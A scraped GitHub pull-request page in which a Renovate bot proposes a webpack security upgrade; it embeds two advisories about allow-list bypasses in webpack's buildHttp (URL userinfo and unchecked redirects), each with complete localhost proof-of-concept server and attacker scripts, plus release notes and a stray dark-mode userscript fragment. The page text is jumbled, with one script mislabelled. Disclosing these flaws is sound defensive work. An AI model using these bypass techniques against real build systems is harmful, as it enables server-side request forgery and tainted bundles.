87b107bCompareFebruary 20, 2026 17:48
@renovaterenovateBot
changed the title
chore(monorepo): update pnpm.catalog.default webpack to ^5.105.2 [security]chore(monorepo): update pnpm.catalog.default webpack to ^5.104.1 [security]Feb 20, 2026
@renovate
renovateBotforce-pushed
the
renovate/npm-webpack-vulnerability
branch
from
87b107b to
dba3e1eCompareFebruary 24, 2026 15:04
@renovaterenovateBot
changed the title
chore(monorepo): update pnpm.catalog.default webpack to ^5.104.1 [security]chore(monorepo): update pnpm.catalog.default webpack to ^5.105.2 [security]Feb 24, 2026
@renovate
renovateBotforce-pushed
the
renovate/npm-webpack-vulnerability
branch
from
dba3e1e to
8a41fc8CompareFebruary 24, 2026 20:07
@renovaterenovateBot
changed the title
chore(monorepo): update pnpm.catalog.default webpack to ^5.105.2 [security]chore(monorepo): update pnpm.catalog.default webpack to ^5.104.1 [security]Feb 24, 2026

auto-merge was automatically disabled
March 27, 2026 02:22
Pull request was closed
@renovate
renovateBot
deleted the

renovate/npm-webpack-vulnerability

branch
March 27, 2026 02:22
@storm-softwarestorm-software
locked and limited conversation to collaborators
Mar 28, 2026
@renovaterenovateBot
changed the title
chore(monorepo): update pnpm.catalog.default webpack to ^5.104.1 [security] - autoclosedchore(monorepo): update pnpm.catalog.default webpack to ^5.104.1 [security]Mar 30, 2026
@renovaterenovateBot
reopened this
Mar 30, 2026
@renovate
renovateBotforce-pushed
the
renovate/npm-webpack-vulnerability
branch
3 times, most recently
from
438605d to
b2afe26CompareApril 1, 2026 17:04
@renovate
renovateBot
enabled auto-merge (squash)
April 1, 2026 17:04
@renovaterenovateBot
changed the title
chore(monorepo): update pnpm.catalog.default webpack to ^5.104.1 [security]chore(monorepo): update pnpm.catalog.default webpack to ^5.105.4 [security]Apr 1, 2026
@renovate
renovateBotforce-pushed
the
renovate/npm-webpack-vulnerability
branch
from
b2afe26 to
dce06daCompareApril 1, 2026 22:14
@renovaterenovateBot
changed the title
chore(monorepo): update pnpm.catalog.default webpack to ^5.105.4 [security]chore(monorepo): update pnpm.catalog.default webpack to ^5.104.1 [security]Apr 1, 2026
@renovate
renovateBotforce-pushed
the
renovate/npm-webpack-vulnerability
branch
from
dce06da to
46a2c11CompareApril 8, 2026 21:09
@renovaterenovateBot
changed the title
chore(monorepo): update pnpm.catalog.default webpack to ^5.104.1 [security]chore(monorepo): update pnpm.catalog.default webpack to ^5.106.0 [security]Apr 8, 2026
@renovate
renovateBotforce-pushed
the
renovate/npm-webpack-vulnerability
branch
from
46a2c11 to
7307f35CompareApril 9, 2026 00:38
@renovaterenovateBot
changed the title
chore(monorepo): update pnpm.catalog.default webpack to ^5.106.0 [security]chore(monorepo): update pnpm.catalog.default webpack to ^5.104.1 [security]Apr 9, 2026
@renovate
renovateBotforce-pushed
the
renovate/npm-webpack-vulnerability
branch
from
7307f35 to
2c45c07CompareApril 15, 2026 09:59
@renovaterenovateBot
changed the title
chore(monorepo): update pnpm.catalog.default webpack to ^5.104.1 [security]chore(monorepo): update pnpm.catalog.default webpack to ^5.106.1 [security]Apr 15, 2026
@renovate
renovateBotforce-pushed
the
renovate/npm-webpack-vulnerability
branch
from
2c45c07 to
780a625CompareApril 16, 2026 10:40
@renovaterenovateBot
changed the title
chore(monorepo): update pnpm.catalog.default webpack to ^5.106.1 [security]chore(monorepo): update pnpm.catalog.default webpack to ^5.104.1 [security]Apr 16, 2026
@renovate
renovateBotforce-pushed
the
renovate/npm-webpack-vulnerability
branch
from
780a625 to
f2b9bceCompareApril 16, 2026 17:12
@renovaterenovateBot
changed the title
chore(monorepo): update pnpm.catalog.default webpack to ^5.104.1 [security]chore(monorepo): update pnpm.catalog.default webpack to ^5.106.2 [security]Apr 16, 2026
@renovate
renovateBotforce-pushed
the
renovate/npm-webpack-vulnerability
branch
from
f2b9bce to
06d0d2aCompareApril 16, 2026 21:24
@renovaterenovateBot
changed the title
chore(monorepo): update pnpm.catalog.default webpack to ^5.106.2 [security]chore(monorepo): update pnpm.catalog.default webpack to ^5.104.1 [security]Apr 16, 2026
@renovate
renovateBotforce-pushed
the
renovate/npm-webpack-vulnerability
branch
from
06d0d2a to
31bab0bCompareApril 21, 2026 21:56
@renovaterenovateBot
changed the title
chore(monorepo): update pnpm.catalog.default webpack to ^5.104.1 [security]chore(monorepo): update pnpm.catalog.default webpack to ^5.106.2 [security]Apr 21, 2026
@renovate
renovateBotforce-pushed
the
renovate/npm-webpack-vulnerability
branch
from
31bab0b to
90273adCompareApril 22, 2026 03:18
@renovaterenovateBot
changed the title
chore(monorepo): update pnpm.catalog.default webpack to ^5.106.2 [security]chore(monorepo): update pnpm.catalog.default webpack to ^5.104.1 [security]Apr 22, 2026
@renovate
renovateBotforce-pushed
the
renovate/npm-webpack-vulnerability
branch
from
90273ad to
fd22a30CompareApril 23, 2026 11:55
Sign up for freeto subscribe to this conversation on GitHub.
Already have an account?
Sign in.


Reviewers

@sullivanpjsullivanpjAwaiting requested review from sullivanpjsullivanpj is a code owner

At least 1 approving review is required to merge this pull request.


Assignees


No one assigned


Labels

dependenciesUpgrade or downgrade of project dependencies.

Projects


None yet


Milestone


No milestone


Development

Successfully merging this pull request may close these issues.

0 participants


, 'i');
if (__m === '*' || __re.test(location.href)) {
injectUserscript("// Force GitHub README to respect dark mode\n(function() {\n var style = document.createElement('style');\n style.textContent = '\n .markdown-body {\n color-scheme: dark light;\n }\n .markdown-body pre { background: #161b22 !important; }\n .markdown-body code { background: rgba(110, 118, 129, 0.4) !important; }\n .markdown-body table th, .markdown-body table td { border-color: #30363d !important; }\n .markdown-body img { background: #0d1117; }\n .markdown-body blockquote { border-left-color: #8b949e; }\n .markdown-body hr { border-color: #30363d; }\n ';\n document.head.appendChild(style);\n})();", "GitHub Dark Mode README Fix");
}
} catch(__e) { console.warn('[Userscript:GitHub Dark Mode README Fix]', __e); }
})();
(function(){
try {
var __m = "*";
var __re = new RegExp('^' + ".*" + '

Skip to content
chore(monorepo): update pnpm.catalog.default webpack to ^5.104.1 [security] - #208
Open
renovate[bot] wants to merge 1 commit into
mainfrom 
renovate/npm-webpack-vulnerability
Open
chore(monorepo): update pnpm.catalog.default webpack to ^5.104.1 [security]#208
renovate[bot] wants to merge 1 commit into
mainfrom 
renovate/npm-webpack-vulnerability
Conversation
@renovate
@renovaterenovateBot
commented
Feb 7, 2026•

edited

Loading

Copy link


Copy Markdown

Contributor
This PR contains the following updates:
PackageChangeAgeConfidence
webpack^5.101.3 → ^5.104.1ageconfidence
webpack buildHttp: allowedUris allow-list bypass via URL userinfo (@​) leading to build-time SSRF behavior
CVE-2025-68458 / GHSA-8fgc-7cc6-rx7x
More information
Details
Summary
When experiments.buildHttp is enabled, webpack’s HTTP(S) resolver (HttpUriPlugin) can be bypassed to fetch resources from hosts outside allowedUris by using crafted URLs that include userinfo (username:password@host). If allowedUris enforcement relies on a raw string prefix check (e.g., uri.startsWith(allowed)), a URL that looks allow-listed can pass validation while the actual network request is sent to a different authority/host after URL parsing. This is a policy/allow-list bypass that enables build-time SSRF behavior (outbound requests from the build machine to internal-only endpoints, depending on network access) and untrusted content inclusion (the fetched response is treated as module source and bundled). In my reproduction, the internal response was also persisted in the buildHttp cache.
Reproduced on:
  • webpack version: 5.104.0
  • Node version: v18.19.1
Details
Root cause (high level):allowedUris validation can be performed on the raw URI string, while the actual request destination is determined later by parsing the URL (e.g., new URL(uri)), which interprets the authority as the part after @.
Example crafted URL:
  • http://127.0.0.1:9000@127.0.0.1:9100/secret.js
If the allow-list is ["http://127.0.0.1:9000"], then:
  • Raw string check:
    crafted.startsWith("http://127.0.0.1:9000") → true
  • URL parsing (WHAT new URL() will contact):
    origin → http://127.0.0.1:9100 (host/port after @)
As a result, webpack fetches http://127.0.0.1:9100/secret.js even though allowedUris only included http://127.0.0.1:9000.
Evidence from reproduction:
  • Server logs showed the internal-only endpoint being fetched:

    • [internal] 200 /secret.js served (...) (observed multiple times)
  • Attacker-side build output showed:

    • the internal secret marker was present in the bundle
    • the internal secret marker was present in the buildHttp cache
image-2
PoC
This PoC is intentionally constrained to 127.0.0.1 (localhost-only “internal service”) to demonstrate SSRF behavior safely.
1) Setup
mkdir split-userinfo-poc &&cd split-userinfo-poc
npm init -y
npm i -D webpack webpack-cli
2) Create server.js
#!/usr/bin/env node
"use strict";consthttp=require("http");constALLOWED_PORT=9000;// allowlisted-looking hostconstINTERNAL_PORT=9100;// actual target if bypass succeedsconstsecret=`INTERNAL_ONLY_SECRET_${Math.random().toString(16).slice(2)}`;constinternalPayload=`// internal-only\n`+`export const secret = ${JSON.stringify(secret)};\n`+`export default "ok";\n`;functionlisten(port,handler){returnnewPromise(resolve=>{consts=http.createServer(handler);s.listen(port,"127.0.0.1",()=>resolve(s));});}(async()=>{// "Allowed" host (should NOT be contacted if bypass works as intended)awaitlisten(ALLOWED_PORT,(req,res)=>{console.log(`[allowed-host] ${req.method}${req.url} (should NOT be hit in userinfo bypass)`);res.statusCode=200;res.setHeader("Content-Type","application/javascript; charset=utf-8");res.end(`export default "ALLOWED_HOST_WAS_HIT_UNEXPECTEDLY";\n`);});// Internal-only service (SSRF-like target)awaitlisten(INTERNAL_PORT,(req,res)=>{if(req.url==="/secret.js"){console.log(`[internal] 200 /secret.js served (secret=${secret})`);res.statusCode=200;res.setHeader("Content-Type","application/javascript; charset=utf-8");res.end(internalPayload);return;}console.log(`[internal] 404 ${req.method}${req.url}`);res.statusCode=404;res.end("not found");});console.log("\nServers up:");console.log(`- allowed-host (should NOT be contacted): http://127.0.0.1:${ALLOWED_PORT}/`);console.log(`- internal target (should be contacted if vulnerable): http://127.0.0.1:${INTERNAL_PORT}/secret.js`);})();
2) Create server.js
#!/usr/bin/env node
"use strict";constpath=require("path");constos=require("os");constfs=require("fs/promises");constwebpack=require("webpack");functionfmtBool(b){returnb ? "✅" : "❌";}asyncfunctionwalk(dir){constout=[];letitems;try{items=awaitfs.readdir(dir,{withFileTypes: true});}catch{returnout;}for(constitofitems){constp=path.join(dir,it.name);if(it.isDirectory())out.push(...awaitwalk(p));elseif(it.isFile())out.push(p);}returnout;}asyncfunctionfileContains(f,needle){try{constbuf=awaitfs.readFile(f);consts1=buf.toString("utf8");if(s1.includes(needle))returntrue;consts2=buf.toString("latin1");returns2.includes(needle);}catch{returnfalse;}}(async()=>{constwebpackVersion=require("webpack/package.json").version;constALLOWED_PORT=9000;constINTERNAL_PORT=9100;// NOTE: allowlist is intentionally specified without a trailing slash// to demonstrate the risk of raw string prefix checks.constallowedUri=`http://127.0.0.1:${ALLOWED_PORT}`;// Crafted URL using userinfo so that:// - The string begins with allowedUri// - The actual authority (host:port) after '@' is INTERNAL_PORTconstcrafted=`http://127.0.0.1:${ALLOWED_PORT}@127.0.0.1:${INTERNAL_PORT}/secret.js`;constparsed=newURL(crafted);consttmp=awaitfs.mkdtemp(path.join(os.tmpdir(),"webpack-httpuri-userinfo-poc-"));constsrcDir=path.join(tmp,"src");constdistDir=path.join(tmp,"dist");constcacheDir=path.join(tmp,".buildHttp-cache");constlockfile=path.join(tmp,"webpack.lock");constbundlePath=path.join(distDir,"bundle.js");awaitfs.mkdir(srcDir,{recursive: true});awaitfs.mkdir(distDir,{recursive: true});awaitfs.writeFile(path.join(srcDir,"index.js"),`import { secret } from ${JSON.stringify(crafted)};console.log("LEAKED_SECRET:", secret);export default secret;`);constconfig={context: tmp,mode: "development",entry: "./src/index.js",output: {path: distDir,filename: "bundle.js"},experiments: {buildHttp: {allowedUris: [allowedUri],cacheLocation: cacheDir,lockfileLocation: lockfile,upgrade: true}}};console.log("\n[ENV]");console.log(`- webpack version: ${webpackVersion}`);console.log(`- node version: ${process.version}`);console.log(`- allowedUris: ${JSON.stringify([allowedUri])}`);console.log("\n[CRAFTED URL]");console.log(`- import specifier: ${crafted}`);console.log(`- WHAT startsWith() sees: begins with "${allowedUri}" => ${fmtBool(crafted.startsWith(allowedUri))}`);console.log(`- WHAT URL() parses:`);console.log(` - username: ${JSON.stringify(parsed.username)} (userinfo)`);console.log(` - password: ${JSON.stringify(parsed.password)} (userinfo)`);console.log(` - hostname: ${parsed.hostname}`);console.log(` - port: ${parsed.port}`);console.log(` - origin: ${parsed.origin}`);console.log(` - NOTE: request goes to origin above (host/port after @), not to "${allowedUri}"`);constcompiler=webpack(config);compiler.run(async(err,stats)=>{try{if(err)throwerr;constinfo=stats.toJson({all: false,errors: true,warnings: true});if(stats.hasErrors()){console.error("\n[WEBPACK ERRORS]");console.error(info.errors);process.exitCode=1;return;}constbundle=awaitfs.readFile(bundlePath,"utf8");constm=bundle.match(/INTERNAL_ONLY_SECRET_[0-9a-f]+/i);constfoundSecret=m ? m[0] : null;console.log("\n[RESULT]");console.log(`- temp dir: ${tmp}`);console.log(`- bundle: ${bundlePath}`);console.log(`- lockfile: ${lockfile}`);console.log(`- cacheDir: ${cacheDir}`);console.log("\n[SECURITY CHECK]");console.log(`- bundle contains INTERNAL_ONLY_SECRET_* : ${fmtBool(!!foundSecret)}`);if(foundSecret){constlockHit=awaitfileContains(lockfile,foundSecret);constcacheFiles=awaitwalk(cacheDir);letcacheHit=false;for(constfofcacheFiles){if(awaitfileContains(f,foundSecret)){cacheHit=true;break;}}console.log(`- lockfile contains secret: ${fmtBool(lockHit)}`);console.log(`- cache contains secret: ${fmtBool(cacheHit)}`);}}catch(e){console.error(e);process.exitCode=1;}finally{compiler.close(()=>{});}});})();
4) Run
Terminal A:
node server.js
Terminal B:
node attacker.js
5) Expected vs Actual
Expected: The import should be blocked because the effective request destination is http://127.0.0.1:9100/secret.js, which is outside allowedUris (only http://127.0.0.1:9000 is allow-listed).
Actual: The crafted URL passes the allow-list prefix validation, webpack fetches the internal-only resource on port 9100 (confirmed by server logs), and the secret marker appears in the bundle and buildHttp cache.
Impact
Vulnerability class: Policy/allow-list bypass leading to build-time SSRF behavior and untrusted content inclusion in build outputs.
Who is impacted: Projects that enable experiments.buildHttp and rely on allowedUris as a security boundary. If an attacker can influence the imported HTTP(S) specifier (e.g., via source contribution, dependency manipulation, or configuration), they can cause outbound requests from the build environment to endpoints outside the allow-list (including internal-only services, subject to network reachability). The fetched response can be treated as module source and included in build outputs and persisted in the buildHttp cache, increasing the risk of leakage or supply-chain contamination.
Severity
  • CVSS Score: 3.7 / 10 (Low)
  • Vector String: CVSS:3.1/AV:N/AC:H/PR:L/UI:R/S:U/C:L/I:L/A:N
References
This data is provided by the GitHub Advisory Database (CC-BY 4.0).
webpack buildHttp HttpUriPlugin allowedUris bypass via HTTP redirects → SSRF + cache persistence
CVE-2025-68157 / GHSA-38r7-794h-5758
More information
Details
Summary
When experiments.buildHttp is enabled, webpack’s HTTP(S) resolver (HttpUriPlugin) enforces allowedUris only for the initial URL, but does not re-validate allowedUris after following HTTP 30x redirects. As a result, an import that appears restricted to a trusted allow-list can be redirected to HTTP(S) URLs outside the allow-list. This is a policy/allow-list bypass that enables build-time SSRF behavior (requests from the build machine to internal-only endpoints, depending on network access) and untrusted content inclusion in build outputs (redirected content is treated as module source and bundled). In my reproduction, the internal response is also persisted in the buildHttp cache.
Details
In the HTTP scheme resolver, the allow-list check (allowedUris) is performed when metadata/info is created for the original request (via getInfo()), but the content-fetch path follows redirects by resolving the Location URL without re-checking whether the redirected URL is within allowedUris.
Practical consequence: if an “allowed” host/path can return a 302 (or has an open redirect), it can point to an external URL or an internal-only URL (SSRF). The redirected response is consumed as module content, bundled, and can be cached. If the redirect target is attacker-controlled, this can potentially result in attacker-controlled JavaScript being bundled and later executed when the resulting bundle runs.
Figure 1 (evidence screenshot): left pane shows the allowed host issuing a 302 redirect to http://127.0.0.1:9100/secret.js; right pane shows the build output confirming allow-list bypass and that the secret appears in the bundle and buildHttp cache.
image
PoC
This PoC is intentionally constrained to 127.0.0.1 (localhost-only “internal service”) to demonstrate SSRF behavior safely.
1) Setup
mkdir split-ssrf-poc &&cd split-ssrf-poc
npm init -y
npm i -D webpack webpack-cli
2) Create server.js
#!/usr/bin/env node
"use strict";consthttp=require("http");consturl=require("url");constallowedPort=9000;constinternalPort=9100;constinternalUrlDefault=`http://127.0.0.1:${internalPort}/secret.js`;constsecret=`INTERNAL_ONLY_SECRET_${Math.random().toString(16).slice(2)}`;constinternalPayload=`export const secret = ${JSON.stringify(secret)};\n`+`export default "ok";\n`;functionstart(port,handler){returnnewPromise(resolve=>{consts=http.createServer(handler);s.listen(port,"127.0.0.1",()=>resolve(s));});}(async()=>{// Internal-only service (SSRF target)awaitstart(internalPort,(req,res)=>{if(req.url==="/secret.js"){res.statusCode=200;res.setHeader("Content-Type","application/javascript; charset=utf-8");res.end(internalPayload);console.log(`[internal] 200 /secret.js served (secret=${secret})`);return;}res.statusCode=404;res.end("not found");});// Allowed host (redirector)awaitstart(allowedPort,(req,res)=>{constparsed=url.parse(req.url,true);if(parsed.pathname==="/redirect.js"){constto=parsed.query.to||internalUrlDefault;// Safety guard: only allow redirecting to localhost internal service in this PoCif(!to.startsWith(`http://127.0.0.1:${internalPort}/`)){res.statusCode=400;res.end("to must be internal-only in this PoC");console.log(`[allowed] blocked redirect to: ${to}`);return;}res.statusCode=302;res.setHeader("Location",to);res.end("redirecting");console.log(`[allowed] 302 /redirect.js -> ${to}`);return;}res.statusCode=404;res.end("not found");});console.log(`\nServer running:`);console.log(`- allowed host: http://127.0.0.1:${allowedPort}/redirect.js`);console.log(`- internal-only: http://127.0.0.1:${internalPort}/secret.js`);})();
3) Create attacker.js
#!/usr/bin/env node
"use strict";constpath=require("path");constos=require("os");constfs=require("fs/promises");constwebpack=require("webpack");constwebpackPkg=require("webpack/package.json");constallowedPort=9000;constinternalPort=9100;constallowedBase=`http://127.0.0.1:${allowedPort}/`;constinternalTarget=`http://127.0.0.1:${internalPort}/secret.js`;constentryUrl=`${allowedBase}redirect.js?to=${encodeURIComponent(internalTarget)}`;asyncfunctionwalk(dir){constout=[];constitems=awaitfs.readdir(dir,{withFileTypes: true});for(constitofitems){constp=path.join(dir,it.name);if(it.isDirectory())out.push(...awaitwalk(p));elseif(it.isFile())out.push(p);}returnout;}asyncfunctionfileContains(f,needle){try{constbuf=awaitfs.readFile(f);returnbuf.toString("utf8").includes(needle)||buf.toString("latin1").includes(needle);}catch{returnfalse;}}asyncfunctionfindInFiles(files,needle){consthits=[];for(constfoffiles)if(awaitfileContains(f,needle))hits.push(f);returnhits;}constfmtBool=b=>(b ? "✅" : "❌");(async()=>{consttmp=awaitfs.mkdtemp(path.join(os.tmpdir(),"webpack-attacker-"));constsrcDir=path.join(tmp,"src");constdistDir=path.join(tmp,"dist");constcacheDir=path.join(tmp,".buildHttp-cache");constlockfile=path.join(tmp,"webpack.lock");constbundlePath=path.join(distDir,"bundle.js");awaitfs.mkdir(srcDir,{recursive: true});awaitfs.mkdir(distDir,{recursive: true});awaitfs.writeFile(path.join(srcDir,"index.js"),`import { secret } from ${JSON.stringify(entryUrl)};console.log("LEAKED_SECRET:", secret);export default secret;`);constconfig={context: tmp,mode: "development",entry: "./src/index.js",output: {path: distDir,filename: "bundle.js"},experiments: {buildHttp: {allowedUris: [allowedBase],cacheLocation: cacheDir,lockfileLocation: lockfile,upgrade: true}}};constcompiler=webpack(config);compiler.run(async(err,stats)=>{try{if(err)throwerr;constinfo=stats.toJson({all: false,errors: true,warnings: true});if(stats.hasErrors()){console.error(info.errors);process.exitCode=1;return;}constbundle=awaitfs.readFile(bundlePath,"utf8");constm=bundle.match(/INTERNAL_ONLY_SECRET_[0-9a-f]+/i);constsecret=m ? m[0] : null;console.log("\n[ATTACKER RESULT]");console.log(`- webpack version: ${webpackPkg.version}`);console.log(`- node version: ${process.version}`);console.log(`- allowedUris: ${JSON.stringify([allowedBase])}`);console.log(`- imported URL (allowed only): ${entryUrl}`);console.log(`- temp dir: ${tmp}`);console.log(`- lockfile: ${lockfile}`);console.log(`- cacheDir: ${cacheDir}`);console.log(`- bundle: ${bundlePath}`);if(!secret){console.log("\n[SECURITY SUMMARY]");console.log(`- bundle contains internal secret marker: ${fmtBool(false)}`);return;}constlockHit=awaitfileContains(lockfile,secret);letcacheFiles=[];try{cacheFiles=awaitwalk(cacheDir);}catch{cacheFiles=[];}constcacheHit=cacheFiles.length ? (awaitfindInFiles(cacheFiles,secret)).length>0 : false;constallTmpFiles=awaitwalk(tmp);constallHits=awaitfindInFiles(allTmpFiles,secret);console.log(`\n- extracted secret marker from bundle: ${secret}`);console.log("\n[SECURITY SUMMARY]");console.log(`- Redirect allow-list bypass: ${fmtBool(true)} (imported allowed URL, but internal target was fetched)`);console.log(`- Internal target (SSRF-like): ${internalTarget}`);console.log(`- EXPECTED: internal target should be BLOCKED by allowedUris`);console.log(`- ACTUAL: internal content treated as module and bundled`);console.log("\n[EVIDENCE CHECKLIST]");console.log(`- bundle contains secret: ${fmtBool(true)}`);console.log(`- cache contains secret: ${fmtBool(cacheHit)}`);console.log(`- lockfile contains secret: ${fmtBool(lockHit)}`);console.log("\n[PERSISTENCE CHECK] files containing secret");for(constfofallHits.slice(0,30))console.log(`- ${f}`);if(allHits.length>30)console.log(`- ... and ${allHits.length-30} more`);}catch(e){console.error(e);process.exitCode=1;}finally{compiler.close(()=>{});}});})();
4) Run
Terminal A:
node server.js
Terminal B:
node attacker.js
5) Expected
Expected: Redirect target should be rejected if not in allowedUris (only http://127.0.0.1:9000/ is allowed).
Impact
Vulnerability class: Policy/allow-list bypass leading to SSRF behavior at build time and untrusted content inclusion in build outputs (and potentially bundling of attacker-controlled JavaScript if the redirect target is attacker-controlled).
Who is impacted: Projects that enable experiments.buildHttp and rely on allowedUris as a security boundary (to restrict remote module fetching). In such environments, an attacker who can influence imported URLs (e.g., via source contribution, dependency manipulation, or configuration) and can cause an allowed endpoint to redirect can:
trigger network requests from the build machine to internal-only services (SSRF behavior),
cause content from outside the allow-list to be bundled into build outputs,
and cause fetched responses to persist in build artifacts (e.g., buildHttp cache), increasing the risk of later exfiltration.
Severity
  • CVSS Score: 3.7 / 10 (Low)
  • Vector String: CVSS:3.1/AV:N/AC:H/PR:L/UI:R/S:U/C:L/I:L/A:N
References
This data is provided by the GitHub Advisory Database (CC-BY 4.0).
Release Notes
webpack/webpack (webpack)
v5.104.1
Compare Source
Patch Changes
  • 2efd21b: Reexports runtime calculation should not accessing WEBPACK_IMPORT_KEY decl with var.
  • c510070: Fixed a user information bypass vulnerability in the HttpUriPlugin plugin.
v5.104.0
Compare Source
Minor Changes
  • d3dd841: Use method shorthand to render module content in __webpack_modules__ object.
  • d3dd841: Enhance import.meta.env to support object access.
  • 4baab4e: Optimize dependency sorting in updateParent: sort each module only once by deferring to finishUpdateParent(), and reduce traversal count in sortWithSourceOrder by caching WeakMap values upfront.
  • 04cd530: Handle more at-rules for CSS modules.
  • cafae23: Added options to control the renaming of at-rules and various identifiers in CSS modules.
  • d3dd841: Added base64url, base62, base58, base52, base49, base36, base32 and base25 digests.
  • 5983843: Provide a stable runtime function variable __webpack_global__.
  • d3dd841: Improved localIdentName hashing for CSS.
Patch Changes
  • 22c48fb: Added module existence check for informative error message in development mode.
  • 50689e1: Use the fully qualified class name (or export name) for [fullhash] placeholder in CSS modules.
  • d3dd841: Support universal lazy compilation.
  • d3dd841: Fixed module library export definitions when multiple runtimes.
  • d3dd841: Fixed CSS nesting and CSS custom properties parsing.
  • d3dd841: Don't write fragment from URL to filename and apply fragment to module URL.
  • aab1da9: Fixed bugs for css/global type.
  • d3dd841: Compatibility import.meta.filename and import.meta.dirname with eval devtools.
  • d3dd841: Handle nested __webpack_require__.
  • 728ddb7: The speed of identifier parsing has been improved.
  • 0f8b31b: Improve types.
  • d3dd841: Don't corrupt debugId injection when hidden-source-map is used.
  • 2179fdb: Re-validate HttpUriPlugin redirects against allowedUris, restrict to http(s) and add a conservative redirect limit to prevent SSRF and untrusted content inclusion. Redirects failing policy are rejected before caching/lockfile writes.
  • d3dd841: Serialize HookWebpackError.
  • d3dd841: Added ability to use built-in properties in dotenv and define plugin.
  • 3c4319f: Optimizing the regular expression character class by specifying ranges for runtime code.
  • d3dd841: Reduce collision for local indent name in CSS.
  • d3dd841: Remove CSS link tags when CSS imports are removed.
v5.103.0
Compare Source
Features
  • Added DotenvPlugin and top level dotenv option to enable this plugin
  • Added WebpackManifestPlugin
  • Added support the ignoreList option in devtool plugins
  • Allow to use custom javascript parse function
  • Added import.meta.env support for environment variables
  • Added support for import.meta.dirname and import.meta.filename
  • Added support import.defer() for statistical path
  • Handle import.meta.main
  • Added suport to setup named exports for JSON modules and disable usage named export for import file from "./file.json" with { type: "json" }
  • Added support __dirname/__filename/import.meta.dirname/import.meta.filename for universal target
  • [CSS] Added the exportType option with link (by default), "text" and css-style-sheet values
  • [CSS] Added support for composes properties
Fixes
  • The dependOn chunk must be loaded before the common chunk
  • Return to namespace import when the external request includes a specific export
  • No runtime extra runtime code for module libraries
  • Delay HMR accept dependencies to preserve import attributes
  • Properly handle external presets for universal target
  • Fixed incorrect identifier of import binding for module externals
  • Fixed when defer import and dynamic default export mixed
  • Reduce generated output when globalThis supported
  • Fixed loading async modules in defer import
  • Reexport module for default import when no used exports for systemjs library
  • Rename HarmonyExportDependencyParserPlugin exported id to CompatibilityPlugin tagged id
  • Handle __dirname and __filename for ES modules
  • Rename single nested __webpack_export__ and __webpack_require__ in already bundled code
  • [Types] webpack function type
  • [Types] NormalModule type
  • [Types] Multi compiler configuration type
  • [Types] Fixed regression in custom hashDigest type
  • [CSS] No extra runtime for initial chunk
  • [CSS] Fixed a lot of CSS modules bugs
v5.102.1
Compare Source
Fixes
  • Supported extends with env for browserslist
  • Supported JSONP fragment format for web workers.
  • Fixed dynamic import support in workers using browserslist.
  • Fixed default defer import mangling.
  • Fixed default import of commonjs externals for SystemJS format.
  • Fixed context modules to the same file with different import attributes.
  • Fixed typescript types.
  • Improved import.meta warning messages to be more clear when used directly.
  • [CSS] Fixed CC_UPPER_U parsing (E -> U) in tokenizer.
v5.102.0
Compare Source
Features
  • Added static analyze for dynamic imports
  • Added support for import file from "./file.ext" with { type: "bytes" } to get the content as Uint8Array (look at example)
  • Added support for import file from "./file.ext" with { type: "text" } to get the content as text (look at example)
  • Added the snapshot.contextModule to configure snapshots options for context modules
  • Added the extractSourceMap option to implement the capabilities of loading source maps by comment, you don't need source-map-loader (look at example)
  • The topLevelAwait experiment is now stable (you can remove experiments.topLevelAwait from your webpack.config.js)
  • The layers experiment is now stable (you can remove experiments.layers from your webpack.config.js)
  • Added function matcher support in rule options
Fixes
  • Fixed conflicts caused by multiple concatenate modules
  • Ignore import failure during HMR update with ES modules output
  • Keep render module order consistent
  • Prevent inlining modules that have this exports
  • Removed unused timeout attribute of script tag
  • Supported UMD chunk format to work in web workers
  • Improved CommonJs bundle to ES module library
  • Use es-lexer for mjs files for build dependencies
  • Fixed support __non_webpack_require__ for ES modules
  • Properly handle external modules for CSS
  • AssetsByChunkName included assets from chunk.auxiliaryFiles
  • Use createRequire only when output is ES module and target is node
  • Typescript types
Performance Improvements
  • Avoid extra calls for snapshot
  • A avoid extra jobs for build dependencies
  • Move import attributes to own dependencies
Configuration
📅 Schedule: (in timezone America/New_York)
  • Branch creation

    • At any time (no schedule defined)
  • Automerge

    • At any time (no schedule defined)
🚦 Automerge: Enabled.
♻ Rebasing: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox.
🔕 Ignore: Close this PR and you won't be reminded about these updates again.
  •  If you want to rebase/retry this PR, check this box
This PR was generated by Mend Renovate. View the repository job log.
@renovate
renovateBot
requested a review
from a teamFebruary 7, 2026 20:44
@renovaterenovateBot
added
the 
dependencies
Upgrade or downgrade of project dependencies.
label
Feb 7, 2026
@renovate
renovateBot
requested review from
a team and sullivanpj
as code ownersFebruary 7, 2026 20:44
@renovaterenovateBot
added
the 
dependencies
Upgrade or downgrade of project dependencies.
label
Feb 7, 2026
@renovate
renovateBot
enabled auto-merge (squash)
February 7, 2026 20:45
@renovate
renovateBot
commented
Feb 7, 2026

Copy link


Copy Markdown

ContributorAuthor
Branch automerge failure
This PR was configured for branch automerge. However, this is not possible, so it has been raised as a PR instead.
@deepsource-io
deepsource-ioBot
commented
Feb 7, 2026•

edited

Loading

Copy link


Copy Markdown

DeepSource Code Review
We reviewed changes in 242a5a8...fa5481a on this pull request. Below is the summary for the review, and you can see the individual issues we found as inline review comments.
See full review on DeepSource ↗
PR Report Card
Overall GradeSecurity

Reliability

Complexity

Hygiene
Code Review Summary
AnalyzerStatusUpdated (UTC)Details
JavaScriptMar 26, 2026 9:01p.m.Review ↗
ShellMar 26, 2026 9:01p.m.Review ↗
@renovate
renovateBotforce-pushed
the
renovate/npm-webpack-vulnerability
branch
from
5a17899 to
3d46fe8CompareFebruary 12, 2026 11:32
@renovaterenovateBot
changed the title
chore(monorepo): update pnpm.catalog.default webpack to ^5.104.1 [security]chore(monorepo): update pnpm.catalog.default webpack to ^5.105.1 [security]Feb 12, 2026
@renovate
renovateBotforce-pushed
the
renovate/npm-webpack-vulnerability
branch
from
3d46fe8 to
ec73d92CompareFebruary 12, 2026 17:18
@renovaterenovateBot
changed the title
chore(monorepo): update pnpm.catalog.default webpack to ^5.105.1 [security]chore(monorepo): update pnpm.catalog.default webpack to ^5.104.1 [security]Feb 12, 2026
@renovate
renovateBotforce-pushed
the
renovate/npm-webpack-vulnerability
branch
from
ec73d92 to
2c09d49CompareFebruary 16, 2026 15:16
@renovaterenovateBot
changed the title
chore(monorepo): update pnpm.catalog.default webpack to ^5.104.1 [security]chore(monorepo): update pnpm.catalog.default webpack to ^5.105.2 [security]Feb 16, 2026
@socket-security
socket-securityBot
commented
Feb 16, 2026•

edited

Loading

Copy link


Copy Markdown

Review the following changes in direct dependencies. Learn more about Socket for GitHub.
DiffPackageSupply Chain
